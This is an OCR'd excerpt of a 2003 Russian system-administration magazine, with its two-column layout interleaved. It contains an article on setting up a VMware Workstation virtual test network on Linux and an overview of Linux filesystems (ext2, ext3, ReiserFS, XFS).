Виртуальный полигон
для разработчика
и администратора
на основе Linux и VMWare
Архитектура файловой
системы ext2
Аудит учетных записей
пользователей
в Active Directory
Windows Server 2003: взгляд
системного администратора
Удобнее, эффективнее, лучше:
snort + MySQL
Fusebox в помощь
веб-программисту
№11(12) ноябрь 2003
оглавление
BUGTRAQ 2, 33 БЕЗОПАСНОСТЬ
2
администрирование
ВИРТУАЛЬНЫЙ ПОЛИГОН
ДЛЯ РАЗРАБОТЧИКА И АДМИНИСТРАТОРА
НА ОСНОВЕ LINUX И VMWARE
АНДРЕЙ БЕШКОВ
4
администрирование
В первой статье этого цикла, опубликованной в сентябрь- машины для работы под управлением варианта Linux,
ском номере журнала «Системный администратор», я до- неизвестного авторам VMWare Workstation. Пользуясь
вольно подробно описал, что такое технология виртуаль- моим опытом, читатель ценой малой крови научится ус-
ных машин VMWare Workstation и каково ее предназна- танавливать VMWare Workstation на любое множество
чение. Также мы изучили теоретические основы функ- разновидностей Linux.
ционирования, способы и возможные цели практичес- Теперь перейдем ко второму виду систем. Системы,
кого применения VMWare Workstation в повседневной де- запущенные внутри контейнера виртуальной машины
ятельности администратора. Свою точку зрения на воп- VMWare Workstation, называются «гостевыми».
рос, для решения каких задач стоит применять подоб- Я уверен, что с задачей, которую мы будем решать, в
ный комплекс программного обеспечения, я высказывал той или иной степени приходилось сталкиваться большин-
в предыдущей статье. Ну а для тех, кто присоединился к ству администраторов. Нужно создать действующий ма-
нам только сейчас, кратко повторим содержание сказок кет сети предприятия с несколькими компьютерами, бла-
тысячи и одной ночи, прозвучавших раньше. Таким об- гополучно проживающими внутри этих виртуальных се-
разом, тем, кто еще не в курсе, я намекаю, что она была тей. И, вдобавок ко всему, нужно обеспечить всю весе-
посвящена установке, настройке и опыту успешного при- лую компанию доступом в Интернет. Для облегчения вос-
менения VMWare Workstation на платформе Windows. приятия учебного материала упростим рабочий макет,
Господам линуксоидам просьба перестать плеваться и поместив в каждую сеть только необходимый минимум
все же найти в себе силы прочесть вышеуказанную ста- компьютеров. Я думаю, этого будет достаточно для ус-
тью. Сделать это необходимо хотя бы по той простой пешного усвоения обсуждаемых концепций.
причине, что в данной статье я сознательно буду гово-
рить только о необходимом минимуме теории функцио-
нирования VMWare Workstation. Вместо этого мы обсу-
дим особенности дизайна виртуальных машин и множе-
ство прочих полезных вещей. Думаю, лучше потратить
время на изложение новых знаний, чем на повторение
пройденного материала.
Перед тем как пуститься в обсуждение всего разнооб-
разия полезных применений продукта, которому посвя-
щена наша сегодняшняя беседа, разберемся с некоторы-
ми наиболее важными базовыми идеями и терминами,
проходящими красной нитью через текст всей статьи.
Операционная система, под управлением которой ра-
ботает программа VMWare Workstation, называется «ос-
новной» системой. Такие системы, в свою очередь, де-
лятся на официально поддерживаемые и те, кому не по-
везло. Начнем с перечисления имен титулованных особ На приведенной выше схеме мы видим, что в сетях
из рода Linux: VMnet3 и VMnet2 находятся машины, работающие под
Mandrake Linux 8.2, 9.0 управлением операционных систем Windows 98SE и
Red Hat Advanced Server 2.1 Windows 2000, символизирующие обычные рабочие
Red Hat Linux 7.0, 7.1, 7.2, 7.3, 8.0 станции. Машина Windows 98SE имеет статический
SuSe Linux Enterprise Server 7,8 адрес 192.168.120.15, а Windows 2000 получает адрес
SuSe Linux 7.3, 8.0, 8.1 192.168.80.128 динамически с помощью DHCP. Сеть
Vmnet1 используется нами как демилитаризованная
Официально поддерживаемыми называются те виды зона (DMZ). Внутри нее обитает машина со статичес-
Linux, для которых разработчики VMWare Workstation ким адресом 192.168.40.32 под управлением Linux
создали бинарные файлы модулей, загружаемых в Mandrake 9.0. На ней для демонстрации работы сете-
ядро. Пользователи всех остальных версий Linux дол- вых служб установлен веб-сервер Apache. Между со-
жны компилировать такие модули из исходных текстов бой все три сети, перечисленные выше, соединены с
самостоятельно. помощью шлюза, как ни странно, имеющего также три
В качестве основной Linux-системы ALT Linux Master 2.2 сетевых интерфейса и функционирующего под управ-
был выбран вопреки тому факту, что он отсутствует в лением FreeBSD 4.7. Я надеюсь, всем понятно, что для
приведенном выше списке, но в то же время довольно облегчения стыковки наших сетей все три интерфейса
широко распространен среди русскоязычных пользова- машины FreeBSD должны иметь фиксированные адре-
телей, и, наконец, за то, что вовремя оказался под ру- са. Ну и в роли нашего последнего героя выступает
кой. Процедура установки на любой из официальных машина NetBSD с двумя интерфейсами. Первый из них
Linux-дистрибутивов слишком проста, чтобы научить чи- с адресом 192.168.40.57 смотрит в демилитаризован-
тателя чему-то полезному. Многие подводные камни ную зону, а второй является шлюзом в Интернет. На
пройдут мимо и не будут замечены до тех пор, пока не втором интерфейсе 192.168.32.128 работает механизм
придется самостоятельно устанавливать виртуальные преобразования сетевых адресов (NAT), это, в свою оче-
6
администрирование
не существует, и спрашивает, создавать ли ее. Отвеча- binary. Далее система хочет убедиться в том, что у нас
ем «yes». Кстати, после инсталляции, сходив в директо- установлен работоспособный компилятор языка C.
рию /usr/share/doc/vmware/, видим, что кроме лицензий
и инструкций по установке там больше ничего нет. Все Setup is unable to find the "make" program on your machine.
Please make sure it is installed. Do you want to specify
то же самое можно увидеть внутри директории doc дис- the location of this program by hand?
трибутива VMWare Workstation. Ну что же, не будем ос- [yes]
танавливаться и продолжим настройку.
Говорит, что не может найти утилиту make на нашей
What is the directory that contains the init directories машине, и предлагает поискать ее самостоятельно, а за-
(rc0.d/ to rc6.d/)?
[/etc/rc.d] тем сообщить правильный путь. Ну что же, попробуем
найти то, что нам нужно.
Тут нужно указать, где находится директория со скрип-
тами для разных уровней загрузки системы. Для исполь- # which make
which: no make in (/root/bin:/sbin:/usr/sbin:/usr/local/ ↵
зуемого мною дистрибутива это директория /etc/rc.d/. sbin:/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin)
What is the directory that contains the init scripts? Теперь посмотрим в списке установленных пакетов:
[/etc/rc.d/init.d]
Ну а тут находятся скрипты запуска демонов, исполь- # rpm -qa | grep make
зуемые при начальной загрузке системы.
Как ни грустно признать такой факт, но, судя по все-
Before running VMware Workstation for the first time, you му, этой утилиты у нас и вправду нет.
need to configure it by invoking the following command: "/
usr/bin/vmware-config.pl". Do you want this program to invoke Вставляем в привод первый диск дистрибутива и пе-
the command for you now? [yes] реходим в директорию с пакетами.
8
администрирование
What will be the netmask of your private network? Мне такая возможность показалось полезной, и я раз-
[255.255.255.0]
решил ее включение. Кстати, в фирменной документа-
Соответственно описываем нужную нам для NAT-сеть ции сказано, что если на вашей машине уже работает
и ее маску. Samba, то в этом случае нужно в ответ на вопрос сказать
«no», потому что иначе в системе начнутся конфликты
The version of DHCP used in this version of VMware Workstation между полной и усеченной версиями Samba.
is licensed as described in the "/usr/share/doc/vmware/
DHCP-COPYRIGHT" file.
This system appears to have a CIFS/SMB server (Samba)
Hit enter to continue. configured for normal use. If this server is intended to
run, you need to make sure that it will not conflict with
Нажав «Enter», приступаем к изучению лицензии на the Samba server setup on the private network (the one that
we use to share the host's filesystem). Please check your /
усеченной версии сервера DHCP, поставляющегося в ком- etc/samba/smb.conf file so that:
плекте с VMWare Workstation.
. The "interfaces" line does not contain
"192.168.40.1/255.255.255.0"
Do you want to be able to use host-only networking in your . There is a "socket address" line that contains only your
virtual machines? real host IP address
[no] yes
Кстати, стоит отметить, что скрипт самостоятельно
Разрешаем использовать сети типа host-only. Что это за нашел на моей машине установленную, но не запущен-
сети и каково их предназначение, читайте в первой статье. ную в данный момент полноценную версию Samba. Про-
верить, правда ли это, можно, запустив на другой консо-
Do you want this program to probe for an unused private ли следующие команды:
subnet? (yes/no/help)
[yes] no
# rpm -qa | grep samba
samba-client-2.2.7-alt3
Запрещаем автоматический поиск свободных сетей, samba-2.2.7-alt3
потому что мы хотим самостоятельно выбирать адреса samba-client-cups-2.2.7-alt3
samba-common-2.2.7-alt3
раздаваемых сетей. Главное – случайно не напороться на
уже существующую в локальной сети подсеть. Иначе не- Ну что же, вернемся обратно к установке. Как всегда,
которое количество «приятных» минут вам обеспечено. сначала рассказали о лицензии на сервер Samba, с по-
мощью которого будет идти обмен файлами, а затем уве-
What will be the IP address of your host on the private домили, что Samba у нас функционирует нормально. За-
network? 192.168.40.0
тем прошел автоматический запуск демона VMWare
What will be the netmask of your private network? 255.255.255.0 Workstation.
The following hostonly networks have been defined:
Starting VMware services:
. vmnet1 is a host-only network on private subnet 192.168.40.0. Virtual machine monitor [ OK ]
Virtual ethernet [ OK ]
Вот так мы создали сеть Vmnet1 с адресным простран- Bridged networking on /dev/vmnet0 [ OK ]
Host-only networking on /dev/vmnet1 (background) [ OK ]
ством 192.168.40.0 и маской сети 255.255.255.0. Host-only networking on /dev/vmnet2 (background) [ OK ]
Повторяем те же действия для сетей vmnet2 и vmnet3. Host-only networking on /dev/vmnet3 (background) [ OK ]
Host-only networking on /dev/vmnet8 (background) [ OK ]
Только теперь в качестве адресов сетей используем со- NAT networking on /dev/vmnet8 [ OK ]
ответственно 192.168.80.0 и 192.168.120.0.
Снова принимаем поздравления с удачной установкой.
The following hostonly networks have been defined: Кстати, убедиться, что работает именно усеченная вер-
. vmnet1 is a host-only network on private subnet 192.168.40.0. сия Samba, можно с помощью запуска на другой консоли
. vmnet2 is a host-only network on private subnet 192.168.80.0. вот такой команды.
. vmnet3 is a host-only network on private subnet 192.168.120.0.
Cкрипт рапортует об успешном создании сетей vmnet1, # ps -ax | grep -v grep | grep mbd
1260 ? S 0:00 /usr/bin/vmware-nmbd -D ↵
vmnet2, vmnet3. В ответ на вопрос, не хотим ли мы на- -l /dev/null -s /etc/vmware/vmnet1/smb/smb.conf ↵
строить еще несколько сетей, отвечаем «no». -f /var/run/vmware-nmbd-vmnet1.pid
1280 ? S 0:00 /usr/bin/vmware-smbd -D ↵
-l /dev/null -s /etc/vmware/vmnet1/smb/smb.conf ↵
Do you want this program to automatically configure your -f /var/run/vmware-smbd-vmnet1.pid
system to allow your virtual machines to access the host's
filesystem? (yes/no/help) [no]
Теперь нужно решить, от имени какого пользователя
Хотим ли мы, чтобы виртуальные машины могли про- samba будет получать доступ к файлам, находящимся на
зрачно работать с файлами, находящимися на файло- диске основной операционной системы.
вых системах основной операционной системы? Реали-
зуется это через запуск под управлением основной опе- You have successfully configured VMware Workstation to allow
your virtual machines to access the host's filesystem. Would
рационной системы усеченной версии программного you like to add a username and password for accessing your
обеспечения Samba. Эта версия создана специально для host's filesystem at this time? (yes/no/help)
[yes] no
подобной цели, и, скорее всего, ни для чего другого не
годится. Мне показалось, что создавать еще одного пользова-
10
администрирование
# incoming www from outside on port 80 vmnet-sniffer – перехватчик трафика для виртуальных
80 = 192.168.40.32:80
интерфейсов, например, прослушивать данные, переда-
Затем необходимо перезапустить серверную часть ваемые через сеть vmnet3, можно с помощью команды
VMWare Workstation, заставив применить внесенные из- vmnet-sniffer -e /dev/vmnet3. Это бывает очень полезно
менения. для отладки разных проблем сетевой подсистемы;
vmstat – показывает состояние виртуальной машины;
# service vmware restart
Stopping VMware services:
vmware – собственно главный исполняемый файл си-
Virtual machine monitor [ OK ] стемы VMWare Workstation;
Bridged networking on /dev/vmnet0
DHCP server on /dev/vmnet1
[ OK
[ OK
]
]
vmware-config.pl – наш старый знакомый скрипт на-
SMB share server on /dev/vmnet1 [ OK ] стройки;
SMB name server on /dev/vmnet1
Host-only networking on /dev/vmnet1
[ OK
[ OK
]
]
vmware-loop – программа для экспорта данных из вир-
DHCP server on /dev/vmnet2 [ OK ] туальной файловой системы в реальную;
Host-only networking on /dev/vmnet2
DHCP server on /dev/vmnet3
[ OK
[ OK
]
]
vmware-mount.pl – инструмент для управления монти-
Host-only networking on /dev/vmnet3 [ OK ] рованием разделов виртуальных дисков;
DHCP server on /dev/vmnet8
NAT networking on /dev/vmnet8
[ OK
[ OK
]
]
vmware-nmbd – усеченная версия сервера имен NETBIOS;
Host-only networking on /dev/vmnet8 [ OK ] vmware-ping – служит для проверки виртуальных сетей;
Virtual ethernet
Starting VMware services:
[ OK ] vmware-smbd – усеченная версия демона для работы
Virtual machine monitor [ OK ] с SMB/CIFS (Samba);
Virtual ethernet
Bridged networking on /dev/vmnet0
[ OK
[ OK
]
]
vmware-smbpasswd – программа управления пользо-
Host-only networking on /dev/vmnet1 (background) [ OK ] вателями и паролями из комплекта Samba;
Host-only networking on /dev/vmnet2 (background) [
Host-only networking on /dev/vmnet3 (background) [
OK
OK
]
]
vmware-uninstall.pl – скрипт деинсталляции VMWare
Host-only networking on /dev/vmnet8 (background) [ OK ] Workstation;
NAT networking on /dev/vmnet8 vmware-wizard – программа, используемая внутри VMWare
Workstation для создания новых виртуальных машин.
Судя по выводу скрипта, DHCP-сервера отключились
во всех виртуальных сетях разом. На самом деле это не Как вы могли убедиться, VMWare Workstation постав-
так. Давайте проверим наличие демонов VMWare ляется с довольно богатым набором инструментов. Воз-
Workstation в памяти. Делать это нужно все той же доб- можно, некоторые из них мы будем использовать для ди-
рой старой командой ps: агностики и устранения неполадок, если таковые возник-
нут в наших виртуальных сетях.
# ps -ax | grep -v grep | grep vm Продолжать злоупотреблять полномочиями пользова-
4515 pts/1 S 0:00 /usr/bin/vmnet-bridge ↵
-d /var/run/vmnet-bridge-0.pid /dev/vmnet0 eth0 теля root больше нет необходимости, поэтому нам стоит
4531 pts/1 S 0:00 /usr/bin/vmnet-netifup ↵ превратиться в обычного пользователя, под которым мы
-d /var/run/vmnet-netifup-vmnet1.pid /dev/vmnet1 vmnet1
4555 pts/1 S 0:00 /usr/bin/vmnet-netifup ↵ и будем ежедневно работать с VMWare Workstation.
-d /var/run/vmnet-netifup-vmnet2.pid /dev/vmnet2 vmnet2
4586 ? S 0:00 /usr/bin/vmnet-dhcpd
-cf /etc/vmware/vmnet2/dhcpd/dhcpd.conf ↵ $ /usr/bin/vmware
-lf /etc/vmware/vmnet2/dhcpd/dhcpd.leases ↵
-pf /var/run/vmnet-dhcpd-vmnet2.pid vmnet2↵
4595 pts/1 S 0:00 /usr/bin/vmnet-netifup ↵ Программа должна отработать нормально, и на экране
-d /var/run/vmnet-netifup-vmnet3.pid /dev/vmnet3 vmnet3 появится главное окно клиентской части VMWare Workstation.
4645 pts/1 S 0:00 /usr/bin/vmnet-netifup ↵
-d /var/run/vmnet-netifup-vmnet8.pid /dev/vmnet8 vmnet8 Пользуясь меню Help → Enter Serial Number, активируем ус-
4675 ? S 0:00 /usr/bin/vmnet-natd ↵ тановленное программное обеспечение с помощью тесто-
-d /var/run/vmnet-natd-8.pid ↵
-m /var/run/vmnet-natd-8.mac ↵ вого серийного номера, присланного нам по почте.
-c /etc/vmware/vmnet8/nat/nat.conf
4686 ? S 0:00 /usr/bin/vmnet-dhcpd ↵
-cf /etc/vmware/vmnet8/dhcpd/dhcpd.conf ↵
-lf /etc/vmware/vmnet8/dhcpd/dhcpd.leases ↵
-pf /var/run/vmnet-dhcpd-vmnet8.pid vmnet8
12
администрирование
Выбираем файл win98.vmx и обязательно используем Совсем не понравилась VMWare Workstation моя ps/2
по прямому назначению кнопку «ОК». После того, как мышь glidepoint. Но это не беда, доктор сказал, что на этом
VMWare Workstation выполнит открытие всех нужных фай- свете почти все неприятности поправимы.
лов, можно запускать виртуальную машину с полученной
только что гостевой системой.
Тут нас ждет несколько неприятных неожиданностей. Как
из рога изобилия, начинают сыпаться ошибки и предупреж-
дения. Возможно, на вашей системе некоторые из них ни-
как не проявят себя, а взамен появятся какие-либо новые
конфликты. Но бояться этого все же не стоит. Большинство
из таких проблем поддаются коррекции довольно просто. Снова не совпадает наименование устройств систе-
мы. На этот раз нам отказала звуковая карта.
Итак, тут мы видим конфликтную ситуацию, возник- Эта ошибка единственная, с которой я не смог спра-
шую внутри подсистемы сетевого оборудования. А если виться, но она некритична. Дело в том, что моя устарев-
говорить точнее, то VMWare Workstation сообщает, что у шая видеокарта и установленный на машину X-сервер не
нее отсутствует сетевой адаптер VMnet3. Нажимаем «OK» поддерживают аппаратную акселерацию режима DGA, по-
и переходим к следующей ошибке. этому во время работы гостевой системы в полноэкран-
ном режиме возможны проблемы с быстродействием. Ради
интереса я проверил, так ли это. Невооруженным глазом
заметить какое-либо замедление не удалось.
14
администрирование
Налюбовавшись рисунками с изображением настроек
«до» и «после», перейдем к решению следующей пробле-
мы. У нас на очереди звуковая карта. Посмотрим, что
именно вписано в конфигурацию этого устройства.
16
администрирование
Так как все остальные системы, используемые в на- mtu 16384
inet6 ::1 prefixlen 128
шем макете, являются диалектами Unix, то для просмот- inet6 fe80::1%lo0 prefixlen 64 scopeid 0x6
ра состояния их сетевых интерфейсов нужно использо- inet 127.0.0.1 netmask 0xff000000
ppp0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
вать команду ifconfig. Например, для машины FreeBSD sl0: flags=c010<POINTOPOINT,LINK2,MULTICAST> mtu 552
вывод команды выглядел вот так:
Таким образом, проверив правильность настройки
lnc0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX, ↵ сетевых компонентов всех подопытных систем, начина-
MULTICAST> mtu 1500
inet 192.168.40.2 netmask 0xffffff00 ↵ ем смотреть, как по тестовым сетям передаются данные.
broadcast 192.168.40.255 Для этого на любой машине выполняем команду ping с
inet6 fe80::20c:29ff:fec7:b430%lnc0 ↵
prefixlen 64 scopeid 0x1 адресами всех остальных машин. Если ping работает, то
ether 00:0c:29:c7:b4:30 переходим к следующему этапу. Теперь любым браузе-
lnc1: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX, ↵
MULTICAST> mtu 1500 ром заходим на адрес 192.168.40.32. Должны увидеть что-
inet 192.168.80.2 netmask 0xffffff00 ↵ то вроде такой страницы с приветствием от веб-сервера
broadcast 192.168.80.255
inet6 fe80::20c:29ff:fec7:b43a%lnc1 ↵ Apache.
prefixlen 64 scopeid 0x2 Затем с любой машины, находящейся за пределами
ether 00:0c:29:c7:b4:3a
lnc2: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX, ↵ созданной виртуальной сети, пытаемся сходить браузе-
MULTICAST> mtu 1500 ром на адрес нашей реальной машины. В ответ должны
inet 192.168.120.2 netmask 0xffffff00 ↵
broadcast 192.168.120.255 получить тот же самый привет от Apache. Судя по всему,
inet6 fe80::20c:29ff:fec7:b444%lnc2 ↵ задача по созданию виртуального полигона, полностью
prefixlen 64 scopeid 0x3
ether 00:0c:29:c7:b4:44 соответствующего схеме, наконец-то выполнена. Как все-
lp0: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> ↵ гда, прощаемся до следующей статьи, которая будет по-
mtu 1500
faith0: flags=8002<BROADCAST,MULTICAST> mtu 1500 священа разным трюкам, заметно облегчающим жизнь
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> ↵ при работе с VMWare Workstation.
СЕРГЕЙ ЯРЕМЧУК
18
администрирование
Что мне нравится в OС GNU/Linux, так это гибкость во серверах, то она уже не удовлетворяет обычным тре-
всем, практически можно собрать систему под опреде- бованиям – большие разделы жесткого диска, быстрое
ленные задачи, выбрав необходимое из множества ком- восстановление после сбоев, высокопроизводительные
понентов. Кроме патчей к ядру, различных версий биб- операции ввода/вывода, потребность в хранении тысяч
лиотек и компиляторов, есть возможность выбора и фай- и тысяч файлов, представляющих терабайты данных.
ловой системы, на которой будет работать ОС. В данной Все это уже превышает возможности данной файловой
статье я предлагаю пробежаться по многообразию и оп- системы. Еще одной особенностью этой файловой си-
ределиться с выбором, узнать о достоинствах и недостат- стемы является тройная косвенная адресация для ука-
ках предлагаемых файловых систем. зания расположения блоков больших файлов. Выгля-
Под файловой системой понимается физический спо- дит это примерно так. Вся информация о расположе-
соб организации данных на дисковом разделе, т.е. воз- нии блоков данных, принадлежащих данному файлу,
можность их хранения, нахождения и манипулирования хранится в inode. Если файл маленький, то в его мета-
ими (запись, стирание). Думаю, такого простенького оп- данных хватает места для размещения нужной инфор-
ределения вполне достаточно, чтобы понять, какие тре- мации, и туда помещаются прямые ссылки на ячейки
бования выдвигаются к файловой системе. До недавнего (логические блоки), в которых хранятся данные, – пря-
времени в Linux предлагалась для использования факти- мая адресация. При увеличении же объема файла, так
чески только одна файловая система ext2fs. Да, возмож- как отведенное место уже не может адресовать зани-
но было, конечно, и установить ее в раздел FAT, но заня- маемое пространство, то блоки метаданных указыва-
тие это кажется мне крайне нездоровым, да и производи- ют уже на косвенные блоки, в которых содержатся ад-
тельность и стабильность при таком размещении только реса с данными, определенными в файле (простая кос-
страдает. Также изначально в ядре поддерживается воз- венная адресация), или опять же указатели на следую-
можность взаимодействовать с файловыми системами щие косвенные блоки (тройная косвенная адресация).
других ОС, расположенных на одном диске. Их можно по- То есть если файл увеличивается в размере и для
смотреть, набрав: пользователя это проходит как единичная операция,
внутри выглядит несколько иначе: поначалу распреде-
#make xconfig ляются новые блоки, для того чтобы содержать новые
данные, затем модифицируется inode, чтобы сделать
и зайдя в пункт меню File system, все я их перечислять не запись о новых указателях и новых размерах, а затем,
буду, для включения их поддержки ядром его необходи- в конце концов, производится запись данных. Вот те-
мо иногда пересобрать, активировав необходимый пункт. перь представьте, что будет, если при записи файла
Да и то для наиболее распространенных, таких как NTFS произойдет сбой. Возможно несколько вариантов. На-
Windows NT и UFS (FFS) FreeBSD, запись в них помечена пример, запись уже произведена или еще не начина-
как DANGEROUS, плюс еще не забыта даже MINIX (стоит лась – это самый оптимистичный вариант, в первом слу-
ли говорить о позавчерашнем дне). чае после перезагрузки вы так и будете работать с до-
Но сейчас предлагаемый ассортимент несколько увели- кументом, ничего не заметив, а во втором случае про-
чился, в современных ядрах добавилась возможность рабо- сто теряется пара часов работы, но с файловой систе-
ты с так называемыми журналируемыми файловыми сис- мой ничего такого страшного не произойдет. А вот если
темами – ext3fs, ReiserFS, XFS и JFS. Не говоря уж о под- система «упала» именно в момент сохранения файла,
держке технологий Soft-RAID и LVM. Но и это еще не все, то это худшее из того, что могло произойти. Если за-
для тех, кому нужна повышенная конфиденциальность ин- пись производилась в зону метаданных, то теперь ин-
формации, хранимой на компьютере, вполне подойдет CFS, формация, содержащаяся в них, не будет соответство-
свободная криптографическая файловая система от Матта вать реальному расположению файлов на диске. Ситу-
Блейза (Mutt Blaze) для Unix/Linux (http://www.crypto.com/ ация несколько усугубляется еще и тем, что Linux, в
software/) или TCFS (Transparent Cryptographic File System) отличие от Windows, не обязательно записывает обнов-
(http://www.tcfs.it/). В данной статье будут рассмотрены ленный файл поверх старого, при записи во избежа-
только классические файловые системы как наиболее ние фрагментации выбирается место, чтобы он влез
часто применяемые на компьютерах, об остальных пого- полностью и на соседние блоки. Поэтому-то в этой си-
ворим как-нибудь отдельно в следующий раз. Итак, по стеме нет программ дефрагментаторов, мне доводи-
старшинству. лось видеть фрагментацию данных максимум 1-2 %, да
и то на переполненном диске, что, согласитесь, очень
Ext2fs мало (вообще на переполненных дисковых разделах су-
Как уже говорилось, данная файловая система в Linux – щественно падает скорость операций IO, что характер-
это уже стандарт де-факто, ее характеризует довольно но для всех Unix-файловых систем). Так вот, а если
высокая надежность и самое высокое из рассматрива- данные заносились в каталог (а ведь это тоже файл),
емых файловых систем быстродействие, которые в то после перезагрузки мы можем недосчитаться одно-
свою очередь достигаются дублированием особо важ- го каталога или, что хуже, вообще целого раздела. Ну
ных метаданных и очень эффективным механизмом кэ- а если произошел сбой при записи в область данных,
ширования дисковых операций. Но так как Linux исполь- то, что он будет потом содержать, зависит от вашего
зуется все чаще и чаще на высокопроизводительных везения, особенно в случае, если производилась запись
20
администрирование
ственно, некоторый полезный объем теперь приходит- бывало, не замечая подмены. К тому же идентичность
ся отводить под сам журнал, но он, как правило, не за- файловых систем позволяет оперативно переходить как
нимает места больше 32 Мб, что по нынешним време- с еxt3fs на ext2fs, так и наоборот. Поясню. Мне часто при-
нам не так уж и много. ходится устанавливать другие дистрибутивы, в том чис-
Самый главный вывод такой: журналируемые фай- ле и со старыми ядрами, не поддерживающими новинку.
ловые системы предназначены не для восстановления Так вот все разделы, на которых используется ext3fs, я
всех ваших данных любой ценой, главная их задача зак- монтирую просто как ext2fs, и никаких, повторяю, ника-
лючается в поддержании непротиворечивости метадан- ких недоразумений при использовании не происходит.
ных файловой системы на момент сбоя и ускорения Другое преимущество данной файловой системы состо-
процесса загрузки системы после сбоя. ит в том, что она, в отличие от остальных, поддерживает
Также в большинстве современных journaling-фай- режим журналирования данных (полное или частичное).
ловых систем поддерживаются: Естественно, добавление журнала, казалось, должно ухуд-
более быстрое распределение свободных блоков, для шить производительность данной системы по сравнению
этого многие из них построены на основе сбалансиро- с «нежурнальным» вариантом. Оказалось, что за счет
ванных деревьев, иначе известных как B+ деревья; улучшения алгоритма движения головки жесткого диска
большее количество файлов в каталоге, т.к. в этом слу- данная файловая система в некоторых случаях даже об-
чае обычная связка name-inode становится неэффек- ходит ext2fs. Ext3fs имеет три режима работы:
тивной, то для хранения имен файлов используются B+ data=writeback – режим, при котором не выполняется
деревья. В некоторых случаях возможно использова- никакого журналирования данных, только метаданные,
ние всего одного B+ дерева для полной системы, что самый ограниченный режим журналирования (кстати,
намного укорачивает поиск файла и соответственно применяемый во всех других ФС, рассматриваемых
операции по работе с ним. Плюс динамическое выде- ниже), не гарантирующий сохранности данных после
ление inоdes вместо неэффективного статического. сбоя. Но за счет этого возрастает скорость работы
такой файловой системы, и фактически журнал пред-
Старая методика прямого, косвенного и тройного кос- назначен только для того, чтобы уменьшить время на-
венного механизма хранения информации о нахождении чальной загрузки системы.
данных файла очень неудобна при работе с файлами боль- По умолчанию же используется data=ordered – «золо-
шого размера по причине долгого поиска информации и тая» середина между полным журналированием дан-
в современных файловых системах заменена на более ных и предыдущим режимом. Официально в этом слу-
удобную, позволяющую работать с большими файлами чае журналируются только метаданные, но блоки со-
«напрямую». ответствующих им данных записываются первыми. В
Кроме того, некоторые новые файловые системы име- большинстве случаев такой режим гарантирует сохран-
ют более совершенный механизм управления внутренней ность данных, особенно если данные дописывались в
фрагментацией (что это такое, объясню чуть позже) и рас- конец файла, чего в большинстве случаев предоста-
пределения inodes, чем ext2. Может, конечно, сложиться точно. Производительность, естественно, чуть ниже
впечатление, что место журналируемых файловых сис- предыдущей и выше полного журналирования, кото-
тем где-нибудь на сервере, нет, они подходят на все сто рому отвечает режим.
процентов для использования на клиентских машинах, где data=journal – в котором все новые данные сначала пи-
тоже есть необходимость в сохранении данных. Теперь, шутся в журнал и только после этого переносятся на
когда мы точно знаем, что ожидать от описываемых фай- свое постоянное место. В случае аварийного отказа
ловых систем, перейдем к их конкретной реализации. журнал можно повторно перечитать, приведя данные
и метаданные в непротиворечивое состояние. Кстати,
Ext3fs данный режим в случае, когда диск интенсивно загру-
Хотя данная файловая система не была первой поддер- жен операциями IO, оказывается даже быстрее всех
живаемой ядром Linux официально (появилась только с остальных.
версии 2.4.16), все-таки, я думаю, справедливо будет на-
чать именно с нее. Разработана она в недрах компании Выбранный режим, отличный от установленного по
Red Hat (там и следует искать все новинки о ее работе) умолчанию, необходимо указать с помощью опции -o.
доктором Stephen Tweedie. Найти патчи для ядра можно Например:
по адресу ftp://ftp.linux.org.uk/pub/linux/sct/fs/jfs/. Чтобы не
изобретать колесо, в данном случае поступили просто, #mount -o data=journal -t ext3 /dev/hda5 /usr/local
прикрутив к стандартной ext2fs журнал. Фактически только
добавив файл журнала (в зависимости от опций монти- или в /etc/fstab:
рования можно и не видеть, находится в ./.journal) и заме-
нив драйвер ядра, отвечающий за файловую систему, по- /dev/hda5 /usr/local ext3 data=writeback 1 0
этому она, естественно, наследует все достоинства и не-
достатки, присущие ext2fs. Но что это дало? Самое глав- или если режим по умолчанию, то просто:
ное – это то, что утилиты ext2fs, которые шлифовались в
течение нескольких лет, работают в ней как ни в чем не /dev/hda5 /usr/local ext3 defaults 1 0
22
администрирование
но рекомендовать для корневого раздела, который к вой системы таким образом, что весь процесс восстанов-
тому же состоит из маленьких файлов. Такая себе ра- ления сводится к копированию этих данных из журнала в
бочая лошадка. Но для работы с данной файловой си- файловую систему. Размер журнала задается при созда-
стемой, кроме поддержки ее самим ядром, необходи- нии системы, он должен быть не меньше 32 Мб; а боль-
мы также свои собственные утилиты для работы и об- ше, наверное, и не надо – такое количество незакрытых
служивания разделов, хотя они уже входят в стандарт- транзакций тяжело получить. Тесты на производитель-
ную поставку всех современных дистрибутивов, а если ность показывают бесспорное преимущество XFS, осо-
нет, то возьмите по адресу ftp://ftp.namesys.com/pub/ бенно при работе с большими и во многих случаях сред-
reiserfsprogs/reiserfsprogs-3.6.4.tar.gz. ними файлами. Также эту файловую систему характери-
Патч к ядру для обновления версии ReiserFS можно зует прямолинейность падения производительности при
взять с ftp://ftp.namesys.com/pub/reiserfs-for-2.4, рядом увеличении нагрузки и предсказуемость, дополнительно
лежат патчи к ядрам версии 2.2. она не генерирует излишнюю дисковую активность, т.к.
Если ядро уже поддерживает ReiserFS и имеются не- пытается кэшировать как можно больше данных и «осно-
обходимые утилиты, то, набрав: ванием» для сброса на диск является заполнение памя-
ти, а не интервал времени, как это принято в других фай-
# /sbin/mkreiserfs /dev/hda2 ловых системах (кроме, наверное, ReiserFS v4). Любое
дисковое устройство при создании файловой системы
можно создать на ней соответствующую файловую сис- XFS разбивается на несколько равных по размеру линей-
тему. Для автоматического монтирования ее при загруз- ных областей (0.5-4 Гб), в терминологии XFS они имену-
ке достаточно прописать в файле /etc/fstab: ются «allocation group». Уникальность allocation group в
том, что каждая группа управляет своими собственными
/dev/hda4 /home reiserfs defaults 0 0 inodes и свободным местом, что превращает группы в
своего рода автономные файловые системы, сосуществу-
или ющие в рамках общей XFS. Такая организация позволяет
эффективно организовать параллельную обработку опе-
#/sbin/mount -t /reiserfs dev/hda4 /home раций ввода/вывода, которая особенно проявляется на
многопроцессорных системах. В каждой такой группе ис-
при монтировании вручную. Если для увеличения произ- пользуется три В+ дерева, два из которых отвечают за
